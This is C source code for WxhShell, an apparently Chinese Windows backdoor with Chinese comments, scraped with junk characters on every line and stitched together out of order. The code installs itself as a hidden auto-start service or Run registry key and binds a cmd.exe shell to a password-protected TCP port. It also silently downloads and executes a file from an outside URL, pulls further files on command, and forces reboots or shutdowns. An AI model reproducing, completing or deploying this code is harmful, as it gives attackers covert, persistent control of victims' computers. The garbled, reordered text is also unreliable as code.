    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); :Sr?6FPc  
    if(Boot(SHUTDOWN)) ~+yZfOcw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _V@WNo%B  
    else { HBH$  
    closesocket(wsh); xc9YM0B&  
    ExitThread(0); @@I7$*  
    } s~*}0-lS  
    break; 7kKuZW@K-  
    } 0ZMJ(C  
  // 获取shell M=OCz gj  
  case 's': { /F.Wigv  
    CmdShell(wsh); ,P{mk%=9  
    closesocket(wsh); xH-X|N  
    ExitThread(0); f-Jbs`(+  
    break; )qL&%xz  
  } :ygWNK[ 6D  
  // 退出 >ys[I0bo  
  case 'x': { ! QM.P t7c  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); iPq &Y*  
    CloseIt(wsh); hoa7   
    break; H&#{l)  
    } ^$v3eKA  
  // 离开 ~C-,G"zw&G  
  case 'q': { )VSwT x&  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); +TK3{5`!Ae  
    closesocket(wsh); k.<3HU  
    WSACleanup(); G8nrdN-9  
    exit(1); .`jo/,?+O  
    break; tF*szf|$-  
        } ';0 qj$ #  
  } glj7$  
  } O*[{z)M.  
xl(@C*.sC1  
  // 提示信息 `s|]"'rX  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); L*h{'<Bz  
} 7FLXx?nLY  
  } :_ROJ  
%f j+70  
  return; {%C*{,#+8q  
} LCs__.  
[U>@,BH  
// shell模块句柄 .Obn&S  
int CmdShell(SOCKET sock) !M7<BD};  
{ K{@3\5<  
STARTUPINFO si; N|mJg[j@7  
ZeroMemory(&si,sizeof(si)); Xd<t5{bD!  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; S4N(cn&  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ('O}&F1  
PROCESS_INFORMATION ProcessInfo; ZrO!L_/  
char cmdline[]="cmd"; +x=)/;:  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 33'Y[4  
  return 0; "T2"]u<52  
} k'T^dY&c  
:Zt2'vcGpf  
// 自身启动模式 &;E5[jO^D  
int StartFromService(void) z0%\OhuCcf  
{ iYJZvN  
typedef struct #*9-d/K  
{  7I=C+  
  DWORD ExitStatus;  J@_ctGv  
  DWORD PebBaseAddress; %' $o"  
  DWORD AffinityMask; T f4tj!t-  
  DWORD BasePriority; s&a1y~rv  
  ULONG UniqueProcessId; Aw5pd7qKL  
  ULONG InheritedFromUniqueProcessId; {D`'0Z1"  
}   PROCESS_BASIC_INFORMATION; )w h%|  
|&3x#1A  
PROCNTQSIP NtQueryInformationProcess; P`$!@T0=  
JhHWu<  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 7 <9yH:1  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; D}3T|N  
2f>PO +4S{  
  HANDLE             hProcess; >&,[H:Z  
  PROCESS_BASIC_INFORMATION pbi; ,](:<A)W&  
_;1}x%4v  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); izgp*M,  
  if(NULL == hInst ) return 0; @{hd{>K*  
Bc7V)Y K  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); G7GZDi  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 5| B(\wqG  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 5|QzU|gPn  
ritBU:6  
  if (!NtQueryInformationProcess) return 0; 7F^#o-@=J  
fu[K".  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 5cJ !"  
  if(!hProcess) return 0; $e1=xSQp4  
Cx<0 H  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; l<g5yYyf  
0 B@n{PvR0  
  CloseHandle(hProcess); {q%Sx*k9[  
\1"'E@+  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); /E;y,o75  
if(hProcess==NULL) return 0; d}'U?6 ob  
h `}}  
HMODULE hMod; *&BnF\?m  
char procName[255]; /ID3s`D)  
unsigned long cbNeeded; Z@a9mFI?  
E/M_lvQ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); o*WY=  
dCyqvg6u  
  CloseHandle(hProcess); (8$k4`T>  
1MlUG5  
if(strstr(procName,"services")) return 1; // 以服务启动 ?BA]7M(,4  
6W[}$#w  
  return 0; // 注册表启动 IW=cym7  
} U>Ld~cw  
K6/@]y%Wr  
// 主模块 gr-9l0u  
int StartWxhshell(LPSTR lpCmdLine) FBx_c;)9Z  
{ /1N6X.Zb  
  SOCKET wsl; uvDzKMw~R  
BOOL val=TRUE; ;Uc0o!1  
  int port=0; qgIb/6;xQ  
  struct sockaddr_in door; +gd4\ZG  
)J]9 lW&y  
  if(wscfg.ws_autoins) Install(); $rIoHxh. y  
z]B]QB Y[  
port=atoi(lpCmdLine); T>TWU:  
ca i <,3H  
if(port<=0) port=wscfg.ws_port; K 0gI):  
W1fW}0   
  WSADATA data; ~5Pb&+<$  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 6E(Qx~i L  
Y8M]Lwj  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   <q*oV  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ,}oM-B  
  door.sin_family = AF_INET; qm/Q65>E  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); :NJ_n6E  
  door.sin_port = htons(port); pl@O N"=[  
,B?~-2cCz  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { )?+$x[f!*  
closesocket(wsl); vgY3L  
return 1; oSiMpQu08  
} )?_#gLrE6  
;!:U((wv  
  if(listen(wsl,2) == INVALID_SOCKET) { C~fjWz' V  
closesocket(wsl); O~j> ?  
return 1; ojYbR<jn9  
} JB!:JML  
  Wxhshell(wsl); sn7AR88M;  
  WSACleanup(); |*Z$E$k:  
Lg8nj< TF  
return 0; zp\8_U @  
CYOI.#m2  
} db'/`JeK b  
afjtn_IB  
// 以NT服务方式启动 !.2<| 24  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 8.F~k~srA  
{ F, U*yj  
DWORD   status = 0; l/;X?g5+  
  DWORD   specificError = 0xfffffff; :0Z^uuk`gq  
?X@fKAj  
  serviceStatus.dwServiceType     = SERVICE_WIN32; n]8<DX99Q0  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; %X#zj"  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ~l;[@jsw F  
  serviceStatus.dwWin32ExitCode     = 0; 2,ECYie^  
  serviceStatus.dwServiceSpecificExitCode = 0; )`^p%k  
  serviceStatus.dwCheckPoint       = 0; 6'\6OsH  
  serviceStatus.dwWaitHint       = 0; %%(R@kh9  
G\|,5HED  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); s4&^D<  
  if (hServiceStatusHandle==0) return; zD?oXs  
~y=T5wt  
status = GetLastError(); LYlDc;<A  
  if (status!=NO_ERROR) UK9@oCIB  
{ \fr-<5w79  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ^C2\`jLMY  
    serviceStatus.dwCheckPoint       = 0; gV&z2S~"  
    serviceStatus.dwWaitHint       = 0; +`?Y?L^ J  
    serviceStatus.dwWin32ExitCode     = status; Y*mbjyt[?X  
    serviceStatus.dwServiceSpecificExitCode = specificError; pr%nbl  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); \u6^Varw  
    return; LC1 (Xb f  
  } 7 |DHplI  
gZ5[ C  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; =zwOq(Bh W  
  serviceStatus.dwCheckPoint       = 0; ~]ZpA-*@Ut  
  serviceStatus.dwWaitHint       = 0; N !TW!  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); (O0Urm  
} R|i/lEq  
H'Yh2a`!o  
// 处理NT服务事件,比如:启动、停止 f/CuE%7BR  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 4CGPO c  
{ o|jIM9/  
switch(fdwControl) J\ e+}{  
{ $9?cP`hmi  
case SERVICE_CONTROL_STOP: 5`f@>r?  
  serviceStatus.dwWin32ExitCode = 0; 1q;#VS/D;H  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; iNMx"F0r  
  serviceStatus.dwCheckPoint   = 0; 2NB L}x  
  serviceStatus.dwWaitHint     = 0; o)'y.-@Q  
  { )BRKZQN  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +F dB '  
  } j0@[Br%7  
  return; ca+[0w@S  
case SERVICE_CONTROL_PAUSE: uZ;D!2Q a  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; $s<Ne{?  
  break; McPNB`.H  
case SERVICE_CONTROL_CONTINUE: y8fsveX  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ;5@  t[r  
  break; xe/(  
case SERVICE_CONTROL_INTERROGATE: {rcnM7 S1L  
  break; =y=cW1TG  
}; g2unV[()_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =J1rlnaaEL  
} #-h\.#s  
CKA;.sh  
// 标准应用程序主函数 Rp$}YN  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) EI\9_}@,  
{ mFHH515  
`5H$IP1XhA  
// 获取操作系统版本 `"%T=w  
OsIsNt=GetOsVer(); ;E'"Ks[GH  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 4lZ$;:Jg  
q%ow/!\;  
  // 从命令行安装 eI@ q|"U  
  if(strpbrk(lpCmdLine,"iI")) Install(); ,^S@EDq  
!0N7^Z"gtz  
  // 下载执行文件 iOG[>u0h  
if(wscfg.ws_downexe) { ?&Pg2]g<  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) *cyeO*  
  WinExec(wscfg.ws_filenam,SW_HIDE); a ^%"7Ri  
} OQ9x*TmK  
M,ir`"s  
if(!OsIsNt) {  C:G8c[  
// 如果时win9x,隐藏进程并且设置为注册表启动 %Q!`NCe+[  
HideProc(); Iy }:F8F>g  
StartWxhshell(lpCmdLine); 2.d|G `  
} |{,KRO0P  
else =|=.>?t6Z0  
  if(StartFromService())  x]z2Z*  
  // 以服务方式启动 @BNEiOAZ#  
  StartServiceCtrlDispatcher(DispatchTable); ;[a|9TPR  
else r7Ya\0gU  
  // 普通方式启动 x"~~l  
  StartWxhshell(lpCmdLine); t!I aUW  
hHDOWHWE  
return 0; Y6&wJ<   
} +*_5tWAc  
`SVmQSwO[  
l&}y/t4%  
,\v91Rp~?  
===========================================  \lSU  
_!|/ ;Nk  
pJ ?~fp  
Pzb|t+"$  
MCdx?m3]  
p6vKoI#T  
" "]\+?  
mA{~Pp Sb  
#include <stdio.h> R N@ctRS  
#include <string.h> h`3eu;5)  
#include <windows.h> a<fUI%_  
#include <winsock2.h> 8| $3OVS  
#include <winsvc.h> Ka,^OW}<%q  
#include <urlmon.h> \o';"Q1H  
z,|{fKtY}  
#pragma comment (lib, "Ws2_32.lib") qgDRu]ba  
#pragma comment (lib, "urlmon.lib") [b$4Shx  
LzCw+@-umw  
#define MAX_USER   100 // 最大客户端连接数 WQHd[2Z#e  
#define BUF_SOCK   200 // sock buffer *OyHHq|>q  
#define KEY_BUFF   255 // 输入 buffer T\r@5Xv  
~/_SMPLo  
#define REBOOT     0   // 重启 pa{re,O"e  
#define SHUTDOWN   1   // 关机 `~cuQ<3Tn  
1nu^F,M  
#define DEF_PORT   5000 // 监听端口 }@r{?8Ru  
-J^(eog[6  
#define REG_LEN     16   // 注册表键长度 mLL340c#\  
#define SVC_LEN     80   // NT服务名长度 1LJUr"6]  
{?`al5Sz  
// 从dll定义API mJM _2Ab  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); B7z -7&TE  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ^H6<Km l/V  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); V= 1Bo~  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); r0m*5rd1  
@}:uu$OH  
// wxhshell配置信息 ]@Sj`J[fd  
struct WSCFG { bz | D-.  
  int ws_port;         // 监听端口 [g2;N,V#  
  char ws_passstr[REG_LEN]; // 口令 `ImE% r!  
  int ws_autoins;       // 安装标记, 1=yes 0=no _FwK-?4E-  
  char ws_regname[REG_LEN]; // 注册表键名 uWrQ&}@  
  char ws_svcname[REG_LEN]; // 服务名 VAXT{s&4>  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 u_).f<mUdF  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 {f{ZHi|  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 x=#VX\5k:  
int ws_downexe;       // 下载执行标记, 1=yes 0=no r `eU~7  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" l (3bW1{n  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Xj*vh m%i  
#A8@CA^d  
}; P/`I.p;  
4GB7A]^E  
// default Wxhshell configuration 7L^%x3-|&  
struct WSCFG wscfg={DEF_PORT, Xo*DvD  
    "xuhuanlingzhe", TYA~#3G)  
    1, 03j]d&P%d  
    "Wxhshell", ~l2aNVv;  
    "Wxhshell", LF0sH)e]  
            "WxhShell Service", WlYs~(= 9  
    "Wrsky Windows CmdShell Service", CwJDmz\tk  
    "Please Input Your Password: ", Ks\ NE=;5  
  1, d9n?v)<v  
  "http://www.wrsky.com/wxhshell.exe", lb:/EUd5  
  "Wxhshell.exe" RNQK  
    }; hTbI -u7BF  
sZLT<6_B  
// 消息定义模块 ?,yj")+  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; .Udj@{  
char *msg_ws_prompt="\n\r? for help\n\r#>"; sm$ (Y.N  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; $fgf Y8  
char *msg_ws_ext="\n\rExit."; [2|kl l  
char *msg_ws_end="\n\rQuit."; W Yc7aciJ  
char *msg_ws_boot="\n\rReboot..."; d`1I".y  
char *msg_ws_poff="\n\rShutdown..."; 4hw@yTUo  
char *msg_ws_down="\n\rSave to "; A0%}v*  
+,2Jzl'-  
char *msg_ws_err="\n\rErr!"; $TI5vhQ  
char *msg_ws_ok="\n\rOK!"; RQFI'@Ks  
+<prgP`v  
char ExeFile[MAX_PATH]; ;us%/kOR  
int nUser = 0; eX_D/25 $  
HANDLE handles[MAX_USER]; jV8q)=}*)  
int OsIsNt; hkO sm6  
"l >Igm  
SERVICE_STATUS       serviceStatus; 4Bl{WyMJ|  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 1bw{q.cmD  
yAN=2fZm  
// 函数声明 G"T',~  
int Install(void); eznypY=  
int Uninstall(void); 2<hpK!R  
int DownloadFile(char *sURL, SOCKET wsh); h!m_PgRSs  
int Boot(int flag); M?/jkc.8H  
void HideProc(void); M4WiT<|]R  
int GetOsVer(void); mE^o-9/  
int Wxhshell(SOCKET wsl); 4tx|=;@0  
void TalkWithClient(void *cs); 3<F  </  
int CmdShell(SOCKET sock); )(7&X45,k  
int StartFromService(void); 7r{83_B  
int StartWxhshell(LPSTR lpCmdLine); j w* IO  
VACiVKk  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); +1~Z#^{&  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); K\)Td+~jc  
kg`.[{k  
// 数据结构和表定义 >Yt/]ta4+  
SERVICE_TABLE_ENTRY DispatchTable[] = s[gKc'  
{ XW?b\!@ $  
{wscfg.ws_svcname, NTServiceMain}, (Y^X0yA/  
{NULL, NULL} z5bo_Eq  
}; "@9? QI}  
<9sO  
// 自我安装 F,5r9^,_  
int Install(void) }$\M{# C~  
{ "z<azs  
  char svExeFile[MAX_PATH]; Od?qz1  
  HKEY key; -LM;}<  
  strcpy(svExeFile,ExeFile); .Gcy> Av  
+`uY]Q ,O  
// 如果是win9x系统,修改注册表设为自启动 ^;c16  
if(!OsIsNt) { Uje|`<X  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?GTU=gp Q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); B>Wu;a.:L  
  RegCloseKey(key); j|tC@0A  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `nO71mo  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); sK=0Np=`  
  RegCloseKey(key); .ZMW>U>  
  return 0; fw;rbP!  
    } r 6eb}z!i  
  } JCY~W=;v  
}  8L*GE  
else { ?`[NFqv_]  
~}ET?Q7t  
// 如果是NT以上系统,安装为系统服务 LJVG~Yeo  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); A^2L~g[^Q  
if (schSCManager!=0) % },Pe  
{  d^(1TNS  
  SC_HANDLE schService = CreateService CB~Q%QLG  
  ( *MI*Rz?4  
  schSCManager, kbPE "urR  
  wscfg.ws_svcname, }qjCTEs}  
  wscfg.ws_svcdisp, v_<2H' *Q  
  SERVICE_ALL_ACCESS, RwVaZJe)l  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 1oKfy>ie  
  SERVICE_AUTO_START, _W3Y\cs,-  
  SERVICE_ERROR_NORMAL, RmI1`  
  svExeFile, _owjTo}  
  NULL, !,Zp? g)  
  NULL, V3mAvmx  
  NULL, P IXL6  
  NULL, %c)[ kAU!  
  NULL B cj/y4"  
  ); pG"5!42M!  
  if (schService!=0) 1|8<H~&  
  { vKoP|z=m  
  CloseServiceHandle(schService); S-#q~X!yJ  
  CloseServiceHandle(schSCManager); 79=45'8  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); /# <pVgN  
  strcat(svExeFile,wscfg.ws_svcname); dC}`IR  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { /=?ETth @  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); +%\oO/4Fs  
  RegCloseKey(key); 8j1ekv  
  return 0; UhmTr[&  
    } q8ImrC.'^  
  } -6 sW6;Q  
  CloseServiceHandle(schSCManager); @DC)]C2  
} k n8N,,+  
} :c8n[+5  
Lhh;2r/?78  
return 1; Y\2|x*KwvF  
} Q)af|GW$  
{0!#>["<  
// 自我卸载 OlD`uA  
int Uninstall(void) X5 ITF)&  
{ ^/Sh=4=G  
  HKEY key; CVXytS?@x  
#=}$OFg  
if(!OsIsNt) { &W }<:WH~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^6p'YYj"5  
  RegDeleteValue(key,wscfg.ws_regname); ~2 u\  
  RegCloseKey(key); buk=p-oi  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { l2hG$idC  
  RegDeleteValue(key,wscfg.ws_regname); wcDjg&:=ml  
  RegCloseKey(key); X5g[ :QKP7  
  return 0; DG;y6#|p  
  } VhEMk\  
} 6k?`:QK/sl  
} >NV=LOO  
else { %~*jae!f  
P%X-@0)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); oojiJ~  
if (schSCManager!=0) 5(&xNT-n8  
{ F=)eLE{W  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); HI&kP+,y  
  if (schService!=0) 8cHE[I  
  { 3kmeD".  
  if(DeleteService(schService)!=0) { ix Z)tNz  
  CloseServiceHandle(schService); 2k#t .-  
  CloseServiceHandle(schSCManager); [FQ\I-GNC  
  return 0; !NKmx=I]  
  } ;+pOP |P=  
  CloseServiceHandle(schService); OuIv e>8  
  } EP7AP4  
  CloseServiceHandle(schSCManager); %IBL0NQT  
} #l1Qe`  
} (fo Bp  
u@%|k c`  
return 1; e,A)U5X  
} Ul Mi.;/^  
gdj^df+2F  
// 从指定url下载文件 +?`b=6e(`  
int DownloadFile(char *sURL, SOCKET wsh) @kD8^,(oH  
{ 8(X0 :  
  HRESULT hr; \|Dei);k  
char seps[]= "/"; GO5~!g  
char *token; %c^ m\ E  
char *file; yZ}d+7T}  
char myURL[MAX_PATH]; +~2rW8  
char myFILE[MAX_PATH]; Hlj6$%.  
qX>Q+_^  
strcpy(myURL,sURL); Tvf~P w  
  token=strtok(myURL,seps); L*?!Z^k  
  while(token!=NULL) EY>8O+  
  { `{FwTZ=6{  
    file=token; Zzd/K^gg  
  token=strtok(NULL,seps); +lO'wa7|3  
  } igDyp0t  
A~-#@Z  
GetCurrentDirectory(MAX_PATH,myFILE); EH`0  
strcat(myFILE, "\\"); UCqs}U8  
strcat(myFILE, file); Gg0#H^s( (  
  send(wsh,myFILE,strlen(myFILE),0); 7el<5chZ  
send(wsh,"...",3,0); X`20f1c6q>  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); |k-XBp  
  if(hr==S_OK) ACBQ3   
return 0; 1"K*._K  
else rcbP$t vz  
return 1; _LfHs1g4  
Jme%  
} [^PCm Z6n  
JE%A|R<Jl  
// 系统电源模块 ?p8k{N(1  
int Boot(int flag) r!/0 j)  
{ .?#uxd~>  
  HANDLE hToken; P0\eB S  
  TOKEN_PRIVILEGES tkp; {^RG% &S  
+p/1x'J  
  if(OsIsNt) { Nh)[r x  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ekzjF\!y  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Go+[uY^  
    tkp.PrivilegeCount = 1; #7z|mVzH  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; q/6UK =  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); K%,$ V,#  
if(flag==REBOOT) { uzorLeu  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) dhR(_  
  return 0; 9d[qh kPu)  
} .L;",E  
else { &`:rp!Lc  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ~y\:iL//E  
  return 0; +*EKR  
} A'eAu  
  } t;Wotfc[#0  
  else { 0P 5BArJ?  
if(flag==REBOOT) { kP,7Li\  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) :Z2tig nL  
  return 0; YQ,tt<CQ  
} dm^H5D/A  
else { <lld*IH  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) *)PG-$6X&  
  return 0; ZzL@[g  
} F2oJ]th.3  
} F RH&B5w  
lYQtv=q  
return 1; R# 6H'TVE  
} Y-&|VE2  
/| GH0L  
// win9x进程隐藏模块 NV!4(_~  
void HideProc(void) Hhf72IX  
{ ^HFo3V }h  
iK x+6v  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); DPPS?~Pq  
  if ( hKernel != NULL ) dM|g`rr E  
  { ^]rxhpS  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); u_'nOle K  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); G\mKCaI8  
    FreeLibrary(hKernel);  <qn,  
  } H'Iq~Ft1  
:_c*m@=z(  
return; 0!IPcZjY7  
} |a(Q4 e/,  
MuSaK %  
// 获取操作系统版本 Es:6  
int GetOsVer(void) z_(eQP])  
{ 1jOKcm'#  
  OSVERSIONINFO winfo; Qk7J[4  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); v!!;js^  
  GetVersionEx(&winfo); {"4<To]z  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) J8h7e}n?  
  return 1; B "n`|;r5  
  else rU*q@y Px  
  return 0; 9UmBm#"  
} >x?2Fz.  
\L#QR  
// 客户端句柄模块 }*-u$=2  
int Wxhshell(SOCKET wsl) D% @KRcp^b  
{ j1Fw U  
  SOCKET wsh; 4.k`[q8  
  struct sockaddr_in client; y$h"ty{g  
  DWORD myID; A5+5J_)*  
_@|fva&s,;  
  while(nUser<MAX_USER) AgI>  
{ HwW6tQ  
  int nSize=sizeof(client); U 1F-~ {r  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); g =x"cs/[  
  if(wsh==INVALID_SOCKET) return 1; z"av|(?d  
d q pgf@  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 0:PSt_33F  
if(handles[nUser]==0) w7ZG oh(  
  closesocket(wsh); r:#Q9EA  
else ;r@!a!NLB  
  nUser++; =WjJN Q  
  } 5l&jPk!=  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 4[_L=zD  
cI3KB-lM#  
  return 0; AJ4r/b }  
} Z*h ;e;  
_y-B";Vmm  
// 关闭 socket uA^hCh-js  
void CloseIt(SOCKET wsh) wEK%T P4  
{ E4i@|jE~)  
closesocket(wsh); `+fk`5Y  
nUser--; p Dm K  
ExitThread(0); FRS28D  
} DOT=U _  
6ZTaQPtm  
// 客户端请求句柄 Zr9d&|$  
void TalkWithClient(void *cs) vh{9'vd3el  
{ %2zas(b9j  
(qj,GmcS  
  SOCKET wsh=(SOCKET)cs; 9[,s4sxH  
  char pwd[SVC_LEN]; l-MxLcz  
  char cmd[KEY_BUFF]; 86#-q7aX  
char chr[1]; $ {@q?iol  
int i,j; /Bm#`?(ia  
fK);!Hh  
  while (nUser < MAX_USER) { w=5   
4y1>  
if(wscfg.ws_passstr) { e|~C?Ow'J  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); QK'`=MU  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "]w!`^'_  
  //ZeroMemory(pwd,KEY_BUFF); ?Oqzd$-  
      i=0; |""=)-5N  
  while(i<SVC_LEN) { ?'Oj=k"c7  
U~CdU  
  // 设置超时 ki`8(u6l  
  fd_set FdRead; H)`@2~Y  
  struct timeval TimeOut; 6#O#T;f)  
  FD_ZERO(&FdRead); J2'W =r_#  
  FD_SET(wsh,&FdRead); ,y{0bq9*2  
  TimeOut.tv_sec=8; _2#zeT5  
  TimeOut.tv_usec=0; {&0mK"z_  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 6SV7\,2M  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); k*OvcYL1A  
]79~:m[C  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )7k&`?Mh  
  pwd=chr[0]; OWZS3Y+  
  if(chr[0]==0xd || chr[0]==0xa) { q;ZLaX\bFl  
  pwd=0; RrKfTiK H  
  break; U>in2u 9  
  } k06xz#pL  
  i++; rNZO.qij z  
    } T0YDfo  
^DzL$BX  
  // 如果是非法用户,关闭 socket MSK'2+1T@g  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); yAAG2c4(  
} kq>GMUl~@  
di--:h/  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ,TEuM|  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @W#fui<<}Y  
fEB195#@9  
while(1) { b~jIv:9T  
epn#qeX  
  ZeroMemory(cmd,KEY_BUFF); !O 4<I_EY{  
n}0za#G  
      // 自动支持客户端 telnet标准   is9}ePC7Xu  
  j=0; 5GaoJ v  
  while(j<KEY_BUFF) { oPCrD.s  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [gpOu TW  
  cmd[j]=chr[0]; ]GQv4-y  
  if(chr[0]==0xa || chr[0]==0xd) { n>br,bQe  
  cmd[j]=0; `bzr_fJ  
  break; I88Zrhw  
  } KS b(R/T  
  j++; UlnyTz~  
    } i3D<`\;r  
R!@|6=]iG  
  // 下载文件 *X~B-a|nJ  
  if(strstr(cmd,"http://")) { PEfE'lGj  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); F%9cS :  
  if(DownloadFile(cmd,wsh)) s fyBw  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); pF|8OB%  
  else *wV iH  
